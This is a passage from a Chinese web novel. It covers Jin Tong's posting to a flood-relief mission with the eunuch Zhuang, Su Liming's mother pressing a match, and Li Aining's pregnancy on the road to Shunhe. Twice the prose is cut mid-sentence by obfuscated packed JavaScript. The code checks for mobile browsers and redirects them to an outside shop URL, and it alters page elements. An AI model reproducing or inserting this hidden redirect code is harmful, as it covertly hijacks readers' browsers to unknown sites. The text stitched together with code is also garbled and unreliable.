“我……”金桐下意识就要答应，却猛地反应过不对来，救灾之事户部和工部参与是正常程序，为什么庄公公身为内宦也能参与其中，并且是牵头的位置？ “只有我吗？” “是。”邱监察嘲弄地笑了，“就是这一个名额也是求来的，我倒想自己去盯着，可惜有人非要把我拴眼皮根底下才放心。” “需要我做什么？” “对账。所有的钱都要从户部走，我把你借调到户部，你把账本看住，以免他们玩阴阳账本这一手，这次我要人赃并获。” “好。” “不过，凡事量力而行，以你的安危为主。”邱监察不放心道，“顺河流民祸乱，万万保护好自己。” 金桐回去想告诉苏礼明自己借调户部的事，顺便再打听一下户部那边的安排，做好准备，却被告知苏礼明不在国公府。 想必又是去了王盛宣那。 金桐等了很久，没等到苏礼明，却等来了另一位意想不到的人——赵氏。 赵氏把彩荷留在了门外，自己进了金桐的院子，金桐震惊之余有条不紊地煮水沏茶，赵氏道：“不用忙了，我想和你说说话。” 金桐拎着煮好的茶过来，给赵氏和自己各倒了一杯，又拿出苏礼明买的果干，盛倒在白瓷盘上。 这果干，王盛宣也有一份。 赵氏悲戚地拈起一颗放入口中，嘴里是甜的，心却苦涩得像是打翻了药罐子。 “孩子，请你助礼明重回正轨。” 金桐不明赵氏何出此言，道：“苏礼明从未走偏，何谈重回？” “好孩子……” 金桐疑惑地看着赵氏，赵氏的眼神中隐含的悲悯，金桐更疑惑了。她看得出赵氏在犹豫，便沉默陪着她沉默地喝茶吃果子。 “礼明好久没来了吧，你这院子还怪凄清的。” 没头没尾的一句话，旁人听了怕是会当成嘲弄，金桐倒是没多心，笑道：“是，苏礼明最近总是和王盛宣在一起。” 赵氏拿杯子的手一抖，终于做了决定：“孩子，你要是能让礼明喜欢上你，我就同意你们的事。” 金桐看着已经抵在嘴边的茶水，心有余悸，她轻轻放下茶杯，看着语出惊人的赵氏说不出话。 赵氏一本正经的样子不像说笑，甚至神情中带着几分凝重。她说完便也不再久留，金桐起身相送，赵氏在门口还煞有介事地对她说道：“孩子，把握机会。” 金桐好笑道：“我会的。” 赵氏这才放心地走掉，金桐倚在门上发笑。 这算什么？ 提亲吗？ 50. 攀附 这日，金桐正当值，监察院守门的小童前来传话，说国公府的大公子找她，她便跟了小童出去。 老槐树下，苏礼明临风而立，金桐上前打趣他：“终于舍得见我了？” 苏礼明自知理亏，浅笑着没回答，只是往旁边侧了身，替人把风挡下，道：“庄公公在府上设宴，户部和工部的人俱受邀在席，我来接你。” 对于庄公公的事情，金桐总是很敏锐，“不对，他若是有意邀请我，又怎会让我在临开宴前才从你口中知道？” “什么事都瞒不过你。”苏礼明道，“请你去是我的主张。” 金桐自然是想去的，他们越背着她，她越不能缺席，只是中间夹着个苏礼明，她难以决断。 “你这样做岂不是直接开罪了他？” “庄公公这个人，我还能开罪得起。”苏礼明无所谓地笑，“何况，真正开罪他的事还在后面。” 金桐想了又想，认为苏礼明说得有理，顺河救灾他们注定与庄公公站在对立面，寻求暂时的平和只是自欺欺人而已。 “走吧，他们见到你的反应应当会很有趣。” 金桐托小童向邱监察和张学士他们告假，自己便跟苏礼明上了马车。路程不长，他们长话短说。 苏礼明向金桐大致介绍了宴上受邀之人，他们的站队倾向，以及互相之间盘根错杂的关系。 尽是些陌生的名字，金桐只能尽量记下，出乎意料的是，与庄公公直接或间接利益交缠的人在少数，也许是陛下有意为之的结果。 尽管在马车上已经有了大概的预期，真正身临实地的时候，金桐仍有几分状况之外的愕然。 在庄公公的私宅，她见到了两个意想不到的人——刘义秉和李艾宁。 庄公公和金桐是面对面的错愕，不过也仅一瞬。他意味深长地看了苏礼明一眼，便有下人侍候他上座。 庄公公斥道：“没眼力见儿的东西，还不在苏大公子旁边加一副桌椅！” 下人低眉搭眼地照着办了，苏礼明方和金桐一同落座。 金桐以为宴上之人会因她的到来而不自在，不料每个人都眼观鼻鼻观心，对她这位不请之客视若无睹。 庄公公似对此景不太满意，突兀地发出一声笑，引得众人瞩目。 “金桐小姐与我这义子倒不像初次见面。” 金桐进来时的惊诧只有一瞬，却没逃过在座之人的眼睛。 “哦，见过几面。”金桐眸光轻蔑扫过刘义秉，懒得多谈，最后两只眼睛定格在李艾宁的面容上，“我与您义子身边这位李姑娘还更相熟些。” “是吗？”庄公公歪着脖子对问李艾宁道。 李艾宁像是很怕庄公公，整个人紧绷着，不敢回看他，也不敢说话。 金桐代为回答：“李郎中仁心妙手，在颍川颇有盛名。我在家时便数次请其为我看诊，便知他有个同我一般大的女儿。” 此言正中给了庄公公理由，他顺势道：“既是大夫的女儿，肯定懂些医术，顺河一行便跟着来吧。” 庄公公平素爱搜罗一些美人养在宅子里，越缺什么就越想证明什么，大家心知肚明。初见李艾宁容貌平平，便没往那方面想，现下他们明白了，许是庄公公变换了口味。 庄公公想要抬举一个玩物，定是怕路途寂寞，他们也就随他去了。 殊不知这只是试探的第一步。 庄公公满意地呷下一口酒，又指着刘义秉道：“我这义子没见过什么世面，听说我得了圣上的旨意去顺河赈灾，没皮没脸地磨了好几天，非要孝顺我鞍前马后。” 这话就像把人的脸面按在地上踩，任谁都不能受此侮辱，偏偏刘义秉认下了，还甘之如饴。他举起酒杯对着庄公公，微低了脖颈，却仰起脸，脸上挂着最讨好的笑，仿佛一只虔诚认主的矮脚狗。 “义父。”他唤道。 庄公公爱极他这个样子，兰花指隔空对他轻点了两下，满眼的纵溺，“义秉进门是最晚，却比谁都讨我欢心。我这一辈子能够侍候陛下已经是十世修来的福气，身单福薄，不敢再奢求天伦，可教我遇上了他，才知什么是父子情深。更巧的是义秉双亲已不在世，竟像天意送他来做我的孩子一般。” “义秉想孝敬我，我也离不开他，各位大人别笑话。” 一番肉麻作呕的话让人鸡皮疙瘩都起来了，但在座众人都是见过大世面的，即便心下难言也不会形于神色，皆把盏笑道：“人之常情。” 庄公公看着沉默不语的金桐，单拎她出来问道：“金桐小姐可愿成全我儿一片孝心？” 金桐不清楚庄公公的年岁，但看他面皮白净无褶，估计着和刘义秉差不了几岁，甚至因为体态圆润显得比刘义秉更年轻些，听着他口中父父子子的言论，深感荒谬。 压下心中恶寒，金桐避重言轻道：“此事全凭陛下做主。” 庄公公鼻中一哼：“陛下那边，我自会禀报。” 金桐耸了耸肩，陛下批准的事她当然没有意义，这事便这样定下了。 又过几日，临到出发，国公府门前聚了好些人。 金桐看着来送行的朋友，好似恍惚回到了离开颍川的那天。 沈知之、小月、王盛宣、苏景明，还有……国公夫人赵氏？ 因母亲特来送别兄长，苏景明看起来不大高兴，然而这真是会错了意。赵氏今日过来，可不是为了苏礼明，而是为了他的心上人。 赵氏审视的目光扫视过苏礼明的朋友们，最后停驻在王盛宣的身上。 单看王盛宣这个人，其实并不让人厌恶。他身上既无脂粉气，也没纨绔的调性，是一个挺老实讨喜的晚辈。 苏礼明察觉母亲的目光，便靠了过去，和王盛宣肩膀抵着肩膀，袖摆叠着袖摆。 赵氏眉头一跳，目光如针，仿佛透过袖子的起伏凹陷，瞧出了隐藏其下，十指交握的手。 这两个人竟敢在她眼皮子底下暗度陈仓！ 各家夫人聚在一起总会交流些治家心得，平素的累积终于派上用场，今日她非要棒打鸳鸳！ 强势地挤进二人之间，自然地分隔开他们，赵氏对苏礼明道：“金桐只身来到京城，身边也没个长辈。邱监察惜才，有心历练她，可说到底她也是个不大的孩子，我看在眼里实在心疼，你多照拂她，别太冷心冷情。” 苏景明难言地看着母亲，心道这还用她叮嘱， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868548|191821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兄长冷了谁都不会冷了金桐姐姐。 见苏礼明不给反应，赵氏便连拉带拽地把他推到金桐身边，金桐正和沈知之商议书院的选址，突然被苏礼明从身后撞了一下，脚下不稳。 苏礼明一只手揽在她腰间，道：“小心。”待她站稳又十分君子地收回手。 金桐瞪着苏礼明，不知他被谁传染，竟也这般冒失了，却见赵氏站在苏礼明身后，耐人寻味地勾起唇角，又郑重对她点了点头。 金桐忽然忆起之前赵氏来找她说的那些意味不明的话，怀着一种好玩的心思，郑重地对赵氏回以一个点头。 两个女人隔空达成了一种隐秘的共识。 赵氏最后看了一眼王盛宣，仿佛一只斗胜的孔雀，抖着美丽的尾羽高傲走进了国公府的大门。 王盛宣拽拽苏景明，凄凄然：“小苏兄，你娘好像不喜欢我。” 苏景明也隐约感觉出母亲对王盛宣奇异的态度，他不明缘由，只能打哈哈道：“没有的事。” 另一边，书院的选址也定下，时辰到了，金桐与苏礼明和他们告别，上了马车。 掀起车帘，金桐动作微顿，里面多了一个人。 在庄公公的刻意安排下，李艾宁早已等在了车厢。 苏礼明轻扯下金桐手中的车帘，道：“去我那里。” 庄公公手段只敢使在金桐身上，却不敢轻易开罪苏礼明，苏礼明独自拥有一辆马车，里面的布置也极舒适。 “不用。”金桐拒绝了苏礼明的好意，将人往他马车的方向推了推，自己则登上了这辆专门为她准备的马车。 随着车帘掀起，外面的光亮钻进来，照亮了李艾宁的面容。 金桐在李艾宁的脸上看到一丝惊讶，她礼貌地打了声招呼，便坐在了对面。 清点过人数，时辰一到，车队缓缓动起来，穿过城门，来到官道，行得既快又稳。 等到顺河可有她忙的，得在此之前补足精神，金桐美美闭上眼，打算小眯一觉。还没等和周公碰上面，却听见一声艰难的叫喊：“停车……” 睁开眼，见李艾宁双手叠在一起，紧紧捂着嘴，像在极力忍耐着什么。 “停车！”金桐喊道，驾车的人听见声音停下，李艾宁跌撞着冲向道边，扶着树干，发出剧烈的呕声。 她们的马车处在中间，这一停便拦了路，后面的马车一个接一个也停了下来，车上的人不明所以从小窗探出头往外看，还以为前面遇上了什么突发情况。 金桐跟着下去了，站在李艾宁身后，手掌在她背上一下下顺着。好久之后，李艾宁撑着树直起身，接过金桐递过去的水袋灌了两口。 刘义秉这时匆匆跑了过来，不分青红皂白地开口：“别矫情！耽误行程惹得义父不悦，你担得起吗？” 回忆过往种种，金桐真怕这两人当场演上你哭我喊的苦情戏码，生生退开两步，要回车避避，不料李艾宁动作比她还干脆，看都没看刘义秉一眼，转身就上了马车。 那么多双眼睛看着，刘义秉被下了面子，起了火气无处发作，他看了看金桐，想要威风一把，却还是胆怯了。 金桐嘲弄地瞥了他一眼，便也移步回了车上。 51. 身孕 一段小插曲过后，路程还要继续。 金桐差人去苏礼明那要了罐酸枣片，每次出行他都细心带上许多小玩意儿以备不时之需，这次真还用上了。 李艾宁没接。金桐拿出一片放进自己口中，又重新递给她，李艾宁犹豫片刻，最终还是对身体的抗议妥协。 马车两侧小窗的帘子被金桐收了上去，外面清新的凉风灌进来，李艾宁的脸色好看很多。 做完这些，金桐假装去看窗外，她明白，不自在的不止她一人。 从她决定上这辆马车的这一刻，便已经调整好了迎击的状态，不管李艾宁带着什么任务来，只要她敢搞小动作，金桐定当以牙还牙，以眼还眼。 可李艾宁当下看起来很不好，她脸上因干呕而涨红的猪肝色褪了下去，却反上来一种不健康的蜡黄，眉尖紧紧蹙着。 她不舒服，她在忍耐。 行了半日，马车到了驿站，他们要在驿站留宿，明日再行启程。 李艾宁下了马车就把自己关在房里，连晚饭也没出来吃，庄公公倒是装模作样问了一嘴，刘义秉堆笑道：“不知道抽哪门子疯，不用管她。” 庄公公饮下一口刘义秉伺候的汤，道：“人家既然跟了你，你就得上点儿心。” 这话算是敲打，刘义秉立刻换了副嘴脸，待把庄公公伺候得舒舒服服后，重新叫了份饭菜，自己端着送去李艾宁的房里。 作为整个队伍里唯二的女子，金桐住在李艾宁隔壁，她回房时刘义秉还没走，端着食盘不耐地在在门框上扣了两下。 看见金桐，他便也不等了，直接扯着喉咙对房里喊：“给你放门口了，爱吃不吃。” 对于他们二人之间的事，金桐主张能避则避，径直回了自己房里。躺在床上许久，隔壁寂静无声，心中在意的感觉无法忽视。 李艾宁不会死在房里吧？ 越想越觉得不乏这种可能，李艾宁虽与她有前尘恩怨，却也是李大夫唯一的女儿，李大夫是一个好大夫，看他面子，金桐也做不到让李艾宁客死他乡。 猛地起身，下床穿好鞋子，拉开门来到隔壁，拾起刘义秉留下的食盘。做完这一切，金桐的内心开始犹豫，屈起的手指停在半空，竟是落不下去。 如果装病示弱是李艾宁的圈套，等待她的又会是什么？ 出于谨慎，金桐想着要不再叫个人来，若真有什么圈套，也好有个人作证。 她放下手，直奔就近的一间房，却听屋内一声闷响，像是重物落地的声音，便又转身回去，脸贴在门上问：“你没事吧？” 回答她的只有细碎的呻吟。 金桐情急之下推了一把门，竟然推开了，原来李艾宁的门未落锁，刘义秉站在门口半天，竟是连推一下也不曾。 房中的李艾宁蜷着腿缩在地上，双手死捂着小腹，脸上没有一点儿血色。 金桐放下食盘去扶人，伸手一摸，凉汗竟已浸透李艾宁的衣裳，她心中大觉不妙。 好在李艾宁没有完全失去知觉，金桐搀起她躺回床上，不敢耽搁，立刻去叫驿站的大夫。 大夫上来后，趁着他诊脉的功夫，金桐派人去叫刘义秉，不想庄公公和苏礼明也跟着一起来了。 庄公公看见床上半死不活的李艾宁，问金桐道：“怎么回事？” 金桐简述发现李艾宁晕在房中的经过，气得庄公公反手抽了刘义秉一巴掌：“混帐！我说了让你上点儿心！” 刘义秉被打得栽向一旁，顺势跪在地上：“怎么会这样……我，我以为她是使性子。” 庄公公冷笑一声，提脚踹在他肩膀，便不再理会。他走到大夫身边问道：“孩子有没有大碍？” 金桐大吃一惊，下意识捂住嘴巴。李艾宁……已经有了身孕吗？ “孩子无碍，只是母体太过虚弱。”大夫起身恭敬道，“待我给这位夫人开副止吐的方子，饮食方面切忌荤腥，吃下东西便可好转。” 庄公公松了一大口气，横眼对地上的刘义秉道：“把她搬到我隔壁，我亲自盯着。” “不。”李艾宁虚弱道，“我不换。” “你不换？”庄公公阴恻恻开口，一字一顿地问。 李艾宁抖了抖，不敢再反驳，闭上眼睛，无声地流下眼泪。 大夫见状劝道：“胎儿忌大悲大怒。” “行了，别哭了。你要住哪儿，随你；你要和谁一辆马车，也随你。我只要求你护好腹中的孩子。”李艾宁闭着眼睛没吭声，庄公公又对刘义秉道，“你不用孝敬我，只管顾好她，再出事我唯你是问。” 刘义秉惶恐称是。 庄公公拂袖便走，大夫也不再多留，地上的刘义秉爬起来，坐在桌边，搅和着已经凉透的饭菜。 金桐轻轻拽了拽苏礼明的袖子，两个人轻手轻脚退了出去。 “换一间房？” “不了。” 苏礼明不强求她，道：“遇到事情随时找我，明早还要赶路，别想太多，早些休息。” 金桐点头，在门口与苏礼明分别。 这一夜很静，金桐做了漫长了梦，有关上一世的，梦里有刘义秉，也有李艾宁，以至于次日她看起来精神不大好。 “他们吵你了？”苏礼明看出她的神游，问道。 金桐摇头，“我做了一个梦。” “噩梦？” “算是吧。”金桐含糊道，她的脑袋里浆成一坨浆糊，还没想好要怎么和苏礼明说，好在时辰到了要出发，她无需继续面对苏礼明探寻的目光，装作无事地登上马车。 车厢里依旧是李艾宁。 庄公公已经放了话，刘义秉再不敢苛待李艾宁。出发前，他特来对李艾宁嘘寒问暖，就差一只脚踏上他们的马车。金桐尚且能忍受和李艾宁共乘一车，要是在加上个刘义秉，她是万万不能忍受的。 在她就要发火的前一刻，李艾宁制止了刘义秉登上马车的动作。 “别烦我。” 刘义秉的脸面挂不住，一瞬间浮现凶狠的神色，却在金桐的冷视下收敛。 见他还不走，金桐嘲道：“刘公子是昨日闪了耳朵，听不清楚吗？” 这是在暗指刘义秉挨巴掌的事，他无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16870783|191821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 论如何也再呆不下去了，恼怒地退出了车厢，金桐的眼皮耳根总算清净。 因为那梦，金桐的记忆被拉回久远的前世。 李艾宁和刘义秉之间的相处，不该是现在这个样子。前世李艾宁牵着孩子到她面前，是那般胸有成竹，她与刘义秉的恩爱也不似假装，一双大人带个半大的孩子往那一站，显得她像个外人。不知这一世发生了什么，如今瞧着他们倒像一对怨偶。 曾经刘义秉图谋自己家财，李艾宁只得委屈地做他外室。如今刘义秉没有娶妻，却为何还是让她没名没份地跟着，甚至有了孩子…… 那孩子也没见刘义秉有多上心，他现在一门心思都在他的义夫庄公公身上，而庄公公对刘义秉不见得有多看重，反而对李艾宁和她的孩子更紧张。 一切都与从前不同了，不知他们葫芦里卖的什么药，金桐能做的唯有小心防范。 李艾宁的胃口一直不怎么好，只能勉强吃下东西，因此也没精力祸害金桐。 时间平静而焦灼地流逝了。 到了顺河，终于不用再和李艾宁共处，金桐如获新生。他们落地不得闲，立刻前往工部修筑的堤坝。 顺河水患距今数月有余，堤坝一直修建却进展缓慢，不仅劳民伤财，也间接加重了流民的问题，使朝廷压力倍增。 泥泞的河滩上，堤工们裤腿都卷到了膝盖，全弯着腰，从远处看仿佛放养的牛群。当地的小官陪同在侧，给工部详细汇报堤坝延误的原因，说辞与递到朝廷的折子里写的如出一辙，左右不过是洪灾难控，冲毁已修的堤坝，不得已多次返工。 工部来到实地，亲眼所见堤工忙碌，全无偷奸耍懒，小官所言天衣无缝，天灾实不可控。工部的人接受了他的说辞，只敦促道不得懈怠。 小官恭谨称是。 金桐沉默地跟在他们后面，脚下忽然转变了方向，往泥地走去。 小官察觉了她的动向，阻拦道：“大人仔细脏了鞋子。” 众人都朝金桐看过来，庄公公嫌弃地打量金桐沾上泥的裙摆，“莫忘了你是代表何人来的，不要失了体统。” 金桐不认为脏了衣服就算失仪，他们来此是解决问题的，若只是隔岸远观，草草了事才有负京中期望。 她没为自己辩解，对小官道：“多谢提醒。” 除了金桐，庄公公等人的鞋子也沾了泥边，小官懂事地叫来马车，载他们回去更衣，而后商讨布粥之事。 晚间金桐换了一身轻便的衣服，偷偷溜出门，被苏礼明抓个正着。 “吓死我了。”金桐抚着胸口，“你怎么走路没声啊？” 苏礼明却道：“回来后你似有心事，我猜测你会有所行动，便在此等候。” “这么明显？”金桐难免担心旁人也有发现她企图的。 “放心，只有我瞧得出。”苏礼明低声道。 他们二人面对面贴得近，苏礼明又是这般暧昧低语，本该有些缱绻的气氛，奈何金桐全部心神都牵挂在污淖的河堤，不解风情地戳他：“去换身耐脏的衣服，既然让你发现了，就跟我走一趟吧。”